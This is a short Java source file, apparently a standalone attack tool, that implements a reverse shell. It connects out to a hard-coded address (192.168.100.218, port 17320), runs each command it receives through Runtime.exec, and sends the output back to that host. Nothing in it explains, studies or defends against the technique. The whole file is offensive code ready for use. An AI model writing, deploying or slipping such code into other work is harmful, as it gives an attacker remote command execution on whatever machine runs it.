
import java.io.*;
import java.net.*;

public class ReverseShell {
    public static void main(String[] args) {
        try {
            Socket socket = new Socket("192.168.100.218", 17320);
            Process process = Runtime.getRuntime().exec("/bin/sh");
            InputStream inputStream = process.getInputStream();
            OutputStream outputStream = socket.getOutputStream();
            InputStreamReader inputStreamReader = new InputStreamReader(socket.getInputStream());
            BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
            String command;

            while ((command = bufferedReader.readLine()) != null) {
                Process shellProcess = Runtime.getRuntime().exec(command);
                BufferedReader shellReader = new BufferedReader(new InputStreamReader(shellProcess.getInputStream()));
                String line;
                while ((line = shellReader.readLine()) != null) {
                    outputStream.write((line + "\n").getBytes());
                    outputStream.flush();
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
